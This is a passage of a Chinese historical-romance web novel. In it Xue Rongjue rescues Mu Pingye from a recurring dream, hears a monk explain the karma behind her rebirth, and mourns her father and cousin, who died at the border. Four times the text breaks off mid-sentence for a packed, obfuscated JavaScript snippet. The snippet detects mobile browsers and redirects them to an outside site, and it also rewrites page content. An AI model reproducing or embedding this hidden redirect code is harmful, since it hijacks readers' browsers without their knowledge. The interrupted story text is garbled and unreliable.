薛容玦惊讶地摸了摸自己的面庞,确实是蒙着一层面纱,这并非是她自己戴上的,想来也不能随意摘掉,她想了想道:“你也知道自己被追杀,我若是不戴面纱被你连累了可如何是好?” 他确实还是年幼,眼神有一瞬的动摇被薛容玦捕捉到了,她笑着道:“你有些发烧,我去为你寻些吃食和药材,你乖乖待着莫动。” 这一番对峙似乎用尽了少年的心力,他未做反应便昏了过去。 薛容玦定定地看着他。 他与后来的样子其实不是很像。眼前的少年还未曾经历世事的黑暗,眼眸中的情绪直白又不加掩饰,可是后来的牧平也适中温和有礼,像是带着一张面具。薛容玦轻轻抬手抚上了他的眉间,试图抚平他眉间的愁绪。 她拿过他身旁的水壶,又看了看外面暗沉的天色,她曾因在京郊野外寻过番薯,也识得一些常用的草药,她寻到溪边打了些水,又寻了一些草药和野菜匆匆回到了破庙。 她叫醒了少年,喂他喝了些水,先嚼碎了草药敷在了他身上的伤口。接着她又用破庙里前人留下的破碗和柴简单地做了可以下咽的吃食喂着他吃了。 她瞧着他似乎睡梦中眉头放松了些,探了探额头似乎不那么烫了,她又去溪边打了些水从衣裳撕掉了一块当作帕子一遍遍覆上额头为他降温。 不知过了多久,天光又一次挤过房顶的缝隙照射了进来,少年缓缓转醒。他原以为自己会死在这间破庙,可此刻他觉得身体轻盈了许多,原本伤口处都敷着草药。虽然还在烧着,脑袋有点昏沉,比起昨日却已然好了许多。 他转了转眼珠,看到昨日那个戴着面纱的姐姐依靠着柱子昏睡了过去,他挣扎着想要起身,这声响惊动了薛容玦,她一睁眼就撞入了少年的眼眸。 少年的眼眸本应盛满天上繁星与明月,可是此刻却盛着不安与惶恐。 “你……你为什么要救我?” 薛容玦看着眼前的少年,忍不住拍了拍他的脑袋,正欲开口却感觉有一股力量抓住了她似乎要将她拖走。 她紧紧抓着身侧的柱子,却强撑着笑了笑,没有回答他的问题:“你叫什么名字?” 少年嗫嚅了半天,却不敢说出口,怀疑的眼神一直盯着她,她却道:“相逢便是缘,想来你不便透露名姓,我便再送你一个名字吧。平也好不好?衡权者,衡,平也,权,重也,衡所以任权而均物平轻重也。 “愿以金秤锤,因君赠别离。钩悬新月吐,衡举众星随。掌握须平执,锱铢必尽知。由来投分审,莫放弄权移。 希望你懂得。” 薛容玦有些撑不住了,看到少年懵懂的眼神笑道:“再睡一觉吧,睡醒就好了。” 少年躺下了,眼中犹有不安对她的防备却少了很多,拽着她的衣袖道:“你是不是要走了?” 薛容玦没想到少年如此敏感,不知该怎么说,少年从沉默中得到了答案,又问道:“我们会再见吗?” 薛容玦心下一片柔软与爱怜,眼前的少年此后还会走过一条荆棘遍布的路途,他们才会再次相遇。 她温柔道:“会的,我们会在槐花盛开的时节重逢。” 少年闻言嘴角微微上扬着闭上了双眼,她像安抚幼儿般一下又一下轻拍着少年哼着简单的曲调,他在这悠扬的曲调中陷入了沉睡。 待他再次醒来时破庙只有一片漆黑,周围和他初来时毫无分别,空气中飘荡着一丝似有若无的香气,他以为自己只是做了一场梦。 他在这里待了太久,身子已经轻快了很多,他迈过门槛离开破庙,可是刚踏出去犹豫半晌又转身进入破庙。 少年跪在破败的佛像前,双手合十,虔诚地望向佛祖,内心默道:“佛祖在上,愿槐花早日盛开。” 可是很多年过去了,每一个槐花盛开的时节他也没有与梦中人重逢。 渐渐地,他忘记了槐花的约定也不再相信神佛。 - 薛容玦被一股大力拽走,再醒神时发现自己置身破败的京都街道,洁白的雪花扑簌簌地落着。 这是破城那一日。 我怎么回来了? 她看着灰暗的天空和不堪的街道,静下心想着。 她明明已经从执念中被拯救,怎么会重新回到这里? 她明明被卷入牧平也的意识。 牧平也的意识? 这是牧平也常年不可摆脱的那个梦境! 可是该去哪里找他呢? 薛容玦一步步迷茫地走着,忽然她意识到,这条街道和她所经历的完全不同。 牧平也没有经历过末世,他并不知晓末世是什么样子的,这里的一切都是桓帝时期京都的模样,只是瞧着破败了些。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13313300|135590||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>更诡异的是,这似乎是一座空城,除了她,再无其他人。 她猛然想到,牧平也初入京都时所居之处,那也是自己的家。 他一定在那里。 她毫不犹豫飞身奔跑,向着家的方向。 巷口的榕树依然亭亭如盖,它始终站在这里看着人世间的变换。 她一步步地走向那间熟悉的房屋,她轻推开房门只见一位男子坐在枇杷树下作画。 枇杷树并不如自己家中的高大,房屋也未经受风雨岁月的蹉跎,依然崭新。 作画人仿佛没有听到她的声音,依然心无旁骛地作着画。 她莲步轻移,看着他作画。 ——是一副美人图,和她曾在牧平也书房里看到的美人图一模一样。 她站在对面看着牧平也的面容,当年的少年褪去青涩,双眸中的不安惊惧已然消失不见不见,面上也带上了温柔和善的面具,再也无法通过双眸一窥他的内心。 “牧平也。” 眼前人仿佛没有看到她,也没有听到她的声音。 “顾思悠。” 作画人眉头微皱,抬起头看到了她,那一瞬的不耐被他很好地遮掩掉:“姑娘是?” 薛容玦温柔地看着他,上前踮起脚吻上他的脸颊,轻声道:“我来带你回家。” 家? 这个字似乎触动了他不好的回忆,他丢下画笔皱着眉头双手抱头痛苦地蹲下身。 “不要……阿娘!不要啊……” 薛容玦蹲下身将他揽入怀中:“不怕,都过去了。” 她像安抚幼儿般一下又一下轻拍着他,哼着简单的曲调,牧平也在她的安抚下逐渐平静了下来。 她轻轻闭上眼,牧平也的过往犹如走马灯一般在她眼前闪过。 只有幼年短短几年的快乐时光,此后的十余年他的回忆全是灰暗无望的,唯有那场梦境是彩色的,可是它也逐渐褪色了,融入了他灰暗无望的记忆深处。 薛容玦睁开双眸,眸中犹如怜惜。槐花如白雪簌簌地飘落,槐香萦绕在二人身边,她笑着对他道:“你看,槐花盛开的时节到了。” 牧平也缓缓睁开双眼,双眸像当年的少年一般充满惊惧犹疑,却又有些迷茫地看着这场槐花雪。那些压在他心口经年累月的积石逐渐分崩离析,被冰封的大地开始龟裂。他觉得仿佛有什么正在他心中悄悄复苏,微风带着槐花香钻入他的鼻尖,仿佛春风温柔地吹过满目疮痍的大地,吹散了那些破败的、腐烂的、不安的回忆;白色的槐花瓣一片一片落在他的身上,仿佛春雨轻柔地洗涤着那片遍布尘埃的大地,浇灌着深埋地底的种子,花草纷纷破土而出。 花树葳蕤,浮翠流丹。 他终于走出了阴暗无望的寒冬,莺啭花间,燕喃帘畔,他心中的春日就此到来。 他看到薛容玦含泪的双眸,轻柔地吻在她的眼眸:“别哭,一切都过去了。” 薛容玦看着这纷纷扬扬的槐花雪,含泪笑着点点头:“我没有骗你,我们重逢在槐花盛开的时节。” 牧平也牵起她的手,笑着道:“我们回家。” - 月红看了看窗外冒出头的日光,又看了看床榻上始终紧闭双眼的二人心中越发焦急,忽然她看到二人同时蹙了蹙眉,她预感到了什么,激动地对师傅说:“小师傅,他们是不是要醒了!” 小和尚停下了口中的喃喃诵念,睁开眼看着二人,微微笑道:“是。” 68. 月冷千山(六) 小和尚见二人醒来,笑道:“想来二位檀越有话要说,贫僧去园内等候。” 月红喜极而泣:“奴婢……奴婢去给郡主拿药。” 转瞬间房内就剩牧平也和薛容玦二人。 牧平也一把将薛容玦抱在怀里,她还能感受到他颤抖的身躯。她轻轻地拍着他的后背,一如在梦境之时:“好了好了,没事了。” 半晌牧平也的情绪才稳定了下来,他微微松开紧箍着薛容玦的手,双眸还微微发红。 少女面色还有些苍白,可是她眉目清亮,眉如墨画,在他眼里美得不可方物。 薛容玦惊奇地发现,他的眸光一如当年的少年,干净清澈。 她不知想到了什么,看向牧平也,眉眼弯弯:“你知道吗?我曾抽到一枚签文,上书‘落花时节又逢君’,如今看来果然十分灵验。” 牧平也一下一下轻抚着她的乌发,语气中带着不自知的宠溺:“什么时候去求的签?” 薛容玦闻言沉默了一瞬,双眸间浮上悲伤:“去岁从外祖那里回京都前,同兄长和表兄一起去的。” 牧平也摸了摸她的头,万语千言都在二人的不言之中。 “你身子还很虚弱,先把药吃了。你我沉睡太久,我去薛府看看,别着急。” 薛容玦点了点头。 薛容玦刚刚喝完苦涩的汤药,皱着眉吃了一颗蜜枣,这才压了下去些,她问月红道:“小师傅呢?” 月红指着湖边的方向道:“方才在湖心亭瞧见了小师傅。” 薛容玦让婢女都下去,一人步行到湖心亭,她仍有些话要单独与小和尚讲。 因她高烧沉睡不醒,牧平也随她入梦,府内仍是一片喜气洋洋的模样。翠绿的树木上挂着红色的布条在随风飘荡,廊檐下的红灯笼依旧高高挂起,门窗上都贴着大大的喜字。 可是在薛容玦看来却有一种割裂感,因为府内的每个人面上都挂着愁绪。 因为边境的军报,她大婚之日到来的军报。 薛勖霖曾对她说一定会从北境赶回参加她的大婚,如今不知是食言了还是没有食言。 薛容玦擦去眼角的泪水,放轻步伐走入湖心亭。 小和尚正在亭内静心打坐,可是小和尚还是睁开了眼眸看向她。 “檀越虽仍有愁绪缠绕,可看起来轻松了很多。” 薛容玦坐在他对面,勾了勾唇角:“此番虽然身子还是觉得很沉重,可是心头却轻松了很多。 “曾经总觉得心中有一座大山,山下仿佛掩埋着很多东西,可是醒来后却发现这座大山轰然崩塌,山下却什么都没有。 “如今仍有几件事萦绕心头。” 小和尚依旧像她见过的两次那样无悲无喜地看向她,仿佛寺庙内高高在上的佛祖悲悯地垂望着世人。 一阵微风袭来将湖边的槐花瓣吹落湖面,有几片花瓣随风飘入亭内,槐香肆意飘散在空中。 薛容玦伸手抓住了花瓣,道:“不知可否请小师傅解惑?” 小和尚双手合十,微微低眉:“檀越但说无妨。” “我本应被困在意识之海再不得出,为何还是可以醒来呢?” 小和尚像看透了她一般问道:“檀越是不愿醒吗?” 薛容玦张了张口,却无论如何也说不出一个“不”字。 小和尚的声音仿佛来自遥远的时空,沧桑又稚嫩的声音传入她的耳中:“万事皆空,因果不空,万般不去,唯业随身。世间一切皆有因果,檀越无需苛责自己。 “檀越能醒来,那自然是檀越先前所留下的因果。” 不知为何听了小和尚此言薛容玦心口的愁绪消散了一些,她双手合十虔诚道:“还望小师傅指点迷津。” 小和尚微微一笑:“当日檀越前来无名寺遇到了三人,这三人便是当日之因,今日檀越从执念醒来便是果。” 薛容玦的面上浮上回忆之色:“那日我先于木樨园偶遇了小师傅,随后于净元大师相遇。净元大师请我吃茶,我还曾请净元大师解我一惑。只是至今仍未参透。” 小和尚道:“不知净元大师说了什么?” 薛容玦道:“我问大师我为何而来?大师道,人生于世,皆由天定;檀越之来,前世今生,宿缘所系;乃前世所留之情缘也。” 小和尚微微一笑,只道:“净元大师可赠予檀越何物?” 薛容玦略有些吃惊地看着小和尚:“大师赠予我一张剪纸,他云此乃故人所留,与我有缘便赠予我了。” 说话间,她便恍然大悟:“原来如此,我后来将此剪纸装于香囊放于枕下,此后我的睡眠都安稳了不少。” 小和尚道:“净元大师已然圆寂,他所赠予之物佛法深厚,自是能庇佑檀越的。” 小和尚又道:“檀越那日还遇到一人。” 薛容玦猛然看向自己腕间的佛珠,惊讶道:“小师傅是说这串佛珠吗?” 小和尚点点头,隔空虚点了一下她腕间的佛珠:“此佛珠曾于永乐寺享百年香火,机缘巧合下由檀越持有,如此才能保两位檀越安然无恙归来。” 薛容玦看向小和尚,双手合十低眉道:“世间因果,奇妙之极。” 薛容玦抬手为二人倒了杯茶,饮至口中才知婢女准备的是桂花茶。 小和尚浅斟一口道:“好茶。” 薛容玦却笑了:“莫不是说因果之奇妙。师 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13327787|135590||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 傅可知,此茶便是用当日在木樨园所摘桂花所制成的。” 小和尚但笑不语。 薛容玦看向小和尚,犹豫半晌道:“还有一事想请小师傅,我是……为何而来?” 小和尚似乎早已预料到她会有此问,只道:“想来檀越被此问困惑已久。只是檀越此话却不准确,该是檀越因何而来?” 薛容玦的睫毛蝶翅般快速地扇动着:“小师傅这是何意?” 小和尚看着她问道:“檀越认为,两世最大之差在何处?” 薛容玦蹙了蹙眉,转头看向被微风吹皱的湖面,仿佛心底之事也开始震荡,在心中泛起层层涟漪。她深吸一口气道:“若说两世最大之差便在于,前世之薛容玦早逝,今世之薛勖霖早逝。” 小和尚依旧双眸无波地看着她,却似乎又流露出丝丝悲悯:“檀越还不明白么?” 薛容玦心神震颤,惊讶地看着小和尚,双眸都染了些天边朝霞,仿佛有些不愿相信:“师傅……师傅是说……阿爹?” 小和尚点点头,声音有些空灵,像是来自另一个时空:“薛将军自痛失爱女后日日悔恨不已,曾在佛前立誓,若有来世愿以己命换女儿之命。 “薛将军一生为国征战,所积福报甚厚。天道听到了他的誓言,于是便有了如今檀越所经历的一切。 “所以净元大师说,人生于世,皆由天定;檀越之来,前世今生,宿缘所系;乃前世所留之情缘也,亲情之缘也。” 薛容玦双眸如湖水般盈盈,原来自己并非无缘无故来到这里。她一直以为是自己的到来导致了阿爹和表兄的死亡,可没想到……没想到原来一切都是命。 可是她真的是薛容玦吗? 小和尚的一双眸似乎可以窥见世间所有隐秘之心。 “一切众生,从无始来,生死相续,皆由不知常住真心,性净明体,用诸妄想,此想不真,故有轮转。① “不论檀越名姓如何,檀越即是檀越。” 是啊,薛容玦也好、容玦也罢,名姓不过弹指成沙,我就是我,不受名姓束缚。 她忽觉内心清明许多,笑道:“多谢小师傅解惑,只是我此刻却不知该如何行事了。” 小和尚起身,看向远方天际:“一切有为法,如梦幻泡影,如露亦如电,应作如是观。②” 薛容玦思索半晌还是有些不解,双手合十道:“还请师傅详解。” “过去心不可得,现在心不可得,未来心不可得。③檀越所能做的唯有常行正念。④” 小和尚说完便转身离去了,他的身影越来越模糊,最终与这天地万物融为一体。 薛容玦知晓,这是他们此生的最后一面了。 69. 月冷千山(七) 薛府。 夏日烈阳照射着府邸,辰时还不算热,夏花在日光下开得娇艳欲滴,蓝色的蝴蝶在花丛中翩然起舞。 花园中的场景可称得上一句生动活泼,可是整座府邸的气氛却沉静又压抑。 薛府管家看到薛容玦快步上前从马车上扶下她:“郡主来了,姑爷正在书房和太子殿下、少爷还有夫人论事呢。” 薛容玦点了点头道:“多谢忠叔,我直接去书房。” 薛容玦到书房时三人正僵持不下,还是牧平也反应快,上前拉着她:“昭昭怎么来了?怎么没等我回去接你。” 薛容玦因着大病初愈,面色还有几分苍白,周韫担心道:“阿玦怎么了?” 她上前挽着母亲的手坐在母亲身边:“无事,只是昨日有些发烧,已然大好了。” 周韫面容憔悴,显然是这几日都未能入睡。 薛琮像是下定了某种决心,掀起衣袍跪在母亲身前磕了一个头:“母亲,孩儿明白您的不舍,可是城中已然出现了流言说父亲通敌。此刻最好的方法便是孩儿上战场为父亲正名。” 他一双眼眸通红,强忍着泪意:“母亲也不想父亲的一世英名戒毁于此吧。” 薛容玦不禁眼圈泛红,忠心为国的将军却要遭此污蔑,真是令人寒心, 薛勖霖和周俞安此次出兵极为奇怪无理。 薛勖霖此人用兵谨慎稳重,非有八分把握绝不出兵。 出连膺虽难缠,可按照薛勖霖原本的作战计划,北蛮不出三月便会铩羽而归。 可是听闻此次周俞安收到了出连膺的一封信,读完信后周俞安与薛勖霖争论着什么,后来二人大吵一架,周俞安被薛勖霖关了起来。 不知周俞安是如何逃出看管的,待薛勖霖发现时已晚。他将边军交给了自己最忠心的副将,他一人点了精兵一千追了上去,可是这一去便再没回来。二人中了出连膺的埋伏,所有人死在碧山下。 此刻边境大军由薛勖霖的副将控制着,北蛮因此事士气大涨,我军今日与北蛮的交战多有失利。 “而且,”牧平也看着薛容玦迷茫的模样为她轻声解释着,“崔度已经上书请旨前往边境一战,若是崔家上场,对太子殿下极为不利。” 薛容玦看着苦苦哀求的薛琮、胸有成竹的太子和泪眼婆娑的周韫,心中不知为何仿佛有一只大手攥着她的心脏似的。 除了父亲和表兄,一千条鲜活的生命埋葬在碧山脚下。可是高层的人却只是理性地考虑着利弊得失,除了家人,还有谁为他们落下一滴泪呢? 薛容玦看向太子殿下,道:“殿下可否移步一谈?” 太子瞥了牧平也一眼点点头,又对周韫道:“舅母,该说的母后昨日已经跟您说过了,还望您午时前给答复。” 周韫有时在想,是不是她身边的人都免不了战死沙场的结局呢? 薛容玦跟在太子身后慢慢走着,二人走到了花园之中。 薛容玦对太子道:“殿下明明知晓,即便阿兄去了边境也未必能收回军权。” 太子道:“可阿琮必须去。” 薛容玦道:“太子殿下怀疑有人通敌,可是太子殿下并未做过,父亲之死便会成为针对殿下最好的武器,殿下要阿兄赌上这条命去为太子殿下做事。” 太子看着她通透的双眸,道:“阿玦想如何?” 薛容玦只是直直地看着他:“有一个问题想问问太子殿下,在得知父亲和表兄离世的消息至今,您可曾伤心过?” 太子面上有一瞬的空白。 自得到消息后,他和薛皇后一直在筹谋该如何稳固自己的权势,以免让崔家趁虚而入,包括民间舆论的导向都要他部署安排。 到此刻为止,他根本没有时间难过。 太子道:“舅父和俞安之死,孤当然伤心。” 薛容玦却道:“阿玦不是问您会不会伤心,阿玦是问您有没有伤心。” 太子大可说谎话,可是他看着眼前这双澄澈又悲伤的双眸却什么也说不出口。 沉默是最好的答案。 薛容玦自嘲地笑了笑,似乎是在嘲笑自己的天真愚蠢。 她压下情绪开口道:“我可以帮太子殿下劝服母亲,只是想请太子殿下帮一个忙。 “我要完完整整知道当年的军饷贪污案到底发生了什么。” - 嗒嗒嗒。 几匹马在管道上飞驰着,午后下了些雨,马蹄溅起的泥点将路旁的野草染成了棕色。 暮色将至,今日天边没有霞光,广阔的天际显得十分寂寥。 薛琮拿马鞭指着前方的驿站,喘息道:“前方就到了。” 牧平也看了看怀里面色苍白的薛容玦,低声安慰道:“马上就到驿站了,再坚持一下。” 驿站今日人很多,不过早前已经接到了太子殿下的旨意,已经为他们一行人预留了房间。 牧平也带着薛容玦先进了一间客房,又对小二吩咐道:“准备些热水,再煮碗姜汤水来。” 薛容玦被他抱在怀中,喂了一杯热水,他的声音颇为怜惜:“早知就不应听你的将你带来了,这几日快马加鞭赶路,你才解了毒如何能受得住。” 薛容玦喝了些热水面色红润了不少,安抚地笑道:“无事的,毕竟我想尽一份孝心。阿兄马上就要奔赴边境,我来接阿爹和表兄回家。 “还没有茵陈的消息吗?” 牧平也眸色暗沉,摇了摇头:“未曾。如今想想她那日出现得也颇为诡异,仿佛早已知晓你我行程刻意等着似的。” 薛容玦想了想道:“她除了是田家人,我想不到合理的解释,只是不知你我行踪她如何得知的。” 牧平也想说什么却被小二的叩门声打断了:“客官,您要的热水准备好了。” 他将薛容玦放在一旁:“我去把水放好你且泡会,你身子太弱近日赶路怕是疲倦至极了。” 待薛容玦泡完澡整个人红润了许多,最近紧绷的情绪也轻松了不少,又被牧平也盯着管了一碗姜汤,二人才下楼去吃晚饭。 只是刚出房门便听到,厅内一人在与薛琮聊着什么,只是薛琮一直未曾开口。 那人身着一袭蓝衣,面冠如玉,身上的玉佩昭示着他不凡的身家。 薛琮自从薛勖霖与周俞安的死讯传来之后他就像变了一个人一样,不再像往日一般大笑,十分沉默。 薛容玦在他身边落座,看了一眼对面的人问道:“阿兄,这是何人?” 薛琮紧蹙着眉,显然是不耐烦到了极点,可那人仿佛没看见似的,笑着道:“原来二人是兄妹,在下名唤卫风,自寒风郡前往西漠郡。一人吃饭怪无趣的,前来和诸位聊聊天。” 牧平也看了他一眼疑惑道:“寒风郡到西漠郡?阁下西行莫不是走错了方向?此处再往前十几里便是碧泽郡了。” 卫风笑着摆摆手:“在下不过顺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13340900|135590||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 便游历一番,诸位呢?” 三人一瞬皆垂首沉默,薛琮起身对牧平也和薛容玦道:“我吃好了,先上去了。” 说完,也不待二人反应便离去。 卫风看着他完全没有动的碗筷,喃喃道:“什么也没吃就算吃好了?” - 笃笃笃。 薛琮心绪不宁地看着夜空,听到叩门声也只道:“进。” 薛容玦推门而入时,便看到屋内一片漆黑唯有月光倾泻在屋内。他对月而望,身影萧索,仿佛被名为悲伤和孤寂的大网笼罩。 “阿兄。” 薛琮回首看到是妹妹,努力挤出个笑容:“阿玦怎么来了。” 薛容玦关上房门站在他身边,与他一同望向漆黑夜空唯一的月亮。 “阿兄,如果哭出来会好一些,那便哭吧,没关系的。” 从得知父亲之死的那一刻,薛琮觉得自己似乎被分为了两半,一半还没从妹妹出嫁的喜悦中抽离出来,便随即投入到了各种事项的处理之中。作为家中唯一的男人,他不能也不可以倒下。 可是另一半的自己似乎还没有时间消化父亲离世这个消息。 怎么会呢? 那可是父亲啊。 那可是永远高大的父亲。 那可是他永远可以放心依靠的父亲。 薛琮自小便跟在父亲身后长大,父亲的背影是他一直追逐的目标。可是如今回想起来,那日送别父亲时父亲的肩膀已不再如他记忆中的宽阔甚至有些佝偻,鬓发间也有了丝丝白发。 是从什么时候开始的呢? 仿佛昨日他还是幼稚孩童坐在父亲宽阔的肩膀上摘树上的果子,今日就与父亲天人两隔。 他前些日子看兵书有些地方没看懂,还等着此次父亲出征回来向父亲讨教。 他曾梦想像父亲一样驰骋沙场,让父亲以他为傲。 …… 以后,他再也没有父亲了。 薛容玦听着耳边的抽泣声,心中好酸,仿佛早熟的青杏在她心中化成了汁,流淌进了她的心脏。 她张了张口也不知该如何安慰薛琮,只是待他情绪稳定后,从怀中拿出一个香囊递给薛琮。 他的嗓音还有些哑然:“这是何物?” 薛容玦一双明眸泪中含笑地看着他:“这是保佑阿兄平安归来的宝物,阿兄可要时时刻刻戴在身上。” 薛琮将它收进衣服内,笑着摸了摸薛容玦的发顶,有些哽咽道:“阿玦……若是我……” “阿兄一定能平安归来的。”薛容玦开口打断了他没说出口的话。 薛容玦轻轻抱住了薛琮试图给他一些安慰:“阿兄,明日我就不送你了,我等你得胜归来的那一日。” 薛琮轻拍了拍妹妹的肩膀:“好。” 薛容玦不知想到了什么,轻笑道:“阿兄说教我射箭,我可还没出师呢,为着这个,阿兄爬也得从战场爬回来。” 薛琮心下涩然,他们二人心知肚明他此番出征艰难重重。 他虽与父亲已将古往今来所有的战事模拟了无数遍,可是并未曾真正上过战场。 更何况,军中老将众多,父亲军功显赫压得住他们,自己要如何才能服众? 无非是生死一搏罢了。 舅父死在了战场上、父亲死在战场上、周俞安也死在战场上,那自己呢? 可他还是轻轻地对妹妹承诺道:”好。” 70. 月冷千山(八) 停云霭霭,浮云蔽日。 官道旁成片的杨树蓊蓊郁郁,在空中摇曳着身姿。夏风袭来,树叶哗哗仿佛树叶与风在拍掌而笑。 蝉鸣与树叶惊醒了正在树下茶水摊打盹儿的老黄狗,它抖了抖身上的皮毛翻了个身,似乎是受不了夏日暑热懒怠地伸着舌头。 摊主抬头看了看天气,对着官道另一侧的两人喊道:“嘿,不如来老头子这摊子坐会子吧,你们已经从清晨站到这会子了,这眼瞅着就要落雨了。” 牧平也收回眺望的目光对摊主浅笑道:“多谢老人家好意,我们等的人就要到了。” 薛容玦和牧平也二人一身缟素在驿站前的空旷的官道上,等待着远方归人。 积云越来越厚,远处终于传来了哒哒哒的马蹄声,越来越多的人出现在他们的视线内。 牧平也小心地看了一眼薛容玦,出乎他意料的是,她面上并没有太多悲伤,甚至他一时间不知道该如何形容她此刻的情绪。 凌云打马来到薛容玦面前,下马后红着眼抱拳道:“郡主,将军和表少爷的……遗体……已带回。” 薛容玦扶起凌云道:“辛苦凌叔了,不知阿兄一路可还顺利?” 凌云点点头,安慰道:“郡主放心,小将军已平安到军中。” 牧平也同样随薛容玦拱手向凌云行了一礼,凌云连忙摆手道不敢当。 牧平也却道:“应当的,只是还有一事需问凌叔,如今军中情况如何?” 凌云闻言肃容对二人道:“郡主、小牧大人放心,军中目前由陈副将和吴副将统领,此二人都随大将军一路打出来的,他们二位一定会对小将军言听计从的。” 牧平也却担忧道:“这是自然,只是……军中不比他处,军功才是最有力的存在。只有他们二人的支持远远不够,还需要薛兄得到士兵们的支持,不知薛兄可否能统御好军队。” 凌云闻言却笑道:“小牧大人放心,小将军自小跟着大将军身边长大,虽后来并未从军但自小也是在军队里打着滚儿长大的,在下相信小将军必定会不负大将军之期望的。” 薛容玦沉默地听着他们的对话,心中的担忧还是分毫不少。 远处的队伍终于行到眼前了,她忽然失去了上前查看的勇气,只是拉了拉牧平也的衣袖,声音有些微微的颤抖:“既然到了,那我们带他们回家吧。” 牧平也反手将她的手包在手心试图给她一些力量,温柔地道:“我们一起回家。” - 因着担心遗体在路上损坏,每到一处驿站便要换冰块,路上也不敢过于颠簸。即便这样,昼夜不歇一路上也用了将近二十日才回到京都。 薛容玦和牧平也骑马并行在队伍最前方,她遥遥便望见许多人一袭缟素等在城门外,周韫、陈昔、周俞宁…… 她忽然觉得自己强撑着的情绪塌了一块。 滔滔情绪顺流而下将她淹没,她跪在母亲和舅母面前,哽咽道:“阿娘…舅母…女儿将阿爹和表兄……带回来了……” 周韫和陈昔二人红着眼扶起她,将她揽入怀中:“好孩子,我们一起带他们回家。” 家中的灵堂一应已经布置好了,只是周韫、陈昔和薛容玦在进入薛府时看到了两个意想不到的人。 ——乐阳大长公主和周昌源。 周韫这些日子没有流过一滴泪,可一看到他们仿佛多日以来的情绪有了出口喷泻而出。 她扑到父母怀中痛哭,仿佛又回到了十几年前的无忧少女年岁,无论在外受了什么委屈都可以在父母怀中大哭一场。 陈昔也一下红了眼眶,大长公主将她和女儿揽在怀中,面容满是哀伤与悲痛。 周俞宁走到薛容玦身边拉起薛容玦的手,声音不复以往稚嫩:“表姐,是不是以后只有我一个人了?我再也见不到大哥了。” 薛容玦似乎有些慌乱,不知该如何回答这个问题,红着眼睛看向牧平也。 牧平也叹了口气,拍了拍周俞宁的脑袋:“怎么会呢?大哥永远都会陪着你的。” 周俞宁低下了头,声音有些闷闷的:“大哥说回来陪我一起去后山采花的,大哥食言了。” 薛容玦俯下身将周俞宁揽在怀中,温柔又悲悯地道:“还有表姐和阿琮表兄呢,我们都会陪着阿宁的。” 大长公主安抚了一会周韫和陈昔的情绪,拍了拍二人道:“好了,既然遗体已经回来了该办的就安排下去,明日便会有人来吊唁了。” 她看了一眼牧平也又对薛容玦道:“你们夫妇二人辛苦了,快去歇会,明日可有得忙。” 薛容玦点点头,对大长公主和周老爷子道:“辛苦外祖父和外祖母了。” 牧平也向两位老人认真行了一礼。 他们二人大量了一番牧平也却什么也没有说。 大长公主和周老爷子的到来似乎是定心剂,让所有茫然无序的情绪都有了出口,一切混乱不堪都变得井井有条。 薛容玦看着大长公主和周老爷子的背影,心中十分难受。 因为周铎之死,一家人远行到大长公主的封地,十几年来未曾再踏入京都一步。 如今重返京都仿佛历史的重演,孙子与他的父亲一样死于战场。 不过半年未见,两位老人家华发遍生不见乌发,背影也佝偻了一些,却仍要强撑着不能倒下。 岁月对他们多么残忍,令他们尝尽了白发人送黑发人的苦。 若是神佛有眼,余生可否善待他们? - 今夜亦是没有繁星的一夜,夜空漆黑无边,月亮被深埋其中。 风不知从何处来,也不知要去往何处,始终无休无止地吹着。 牧平也感受到怀中人不安地动了动,他轻轻地拍着她安抚就像她曾经安抚他一般。 “唔……” 牧平也轻声道:“醒了吗?” 薛容玦的声音还带着初醒的沙哑:“嗯……什么时辰了?” 牧平也看了一眼漆黑的窗外,估摸着道:“大约亥初了。” 薛容玦看着他,惊道:“我竟睡了这么久,你怎么不叫醒我?” 她说着连忙起身,唤婢女进来点灯更衣。 牧平也坐在床边看着她忙碌。 在她一切收拾得当准备前往正厅时,却落入一个温暖的怀抱。 “你近日都没有休息好,我想让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13389110|135590||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你多休息会。” 薛容玦转身投入他的怀抱,道:“若是没有你,我真不知这几日该如何过。” 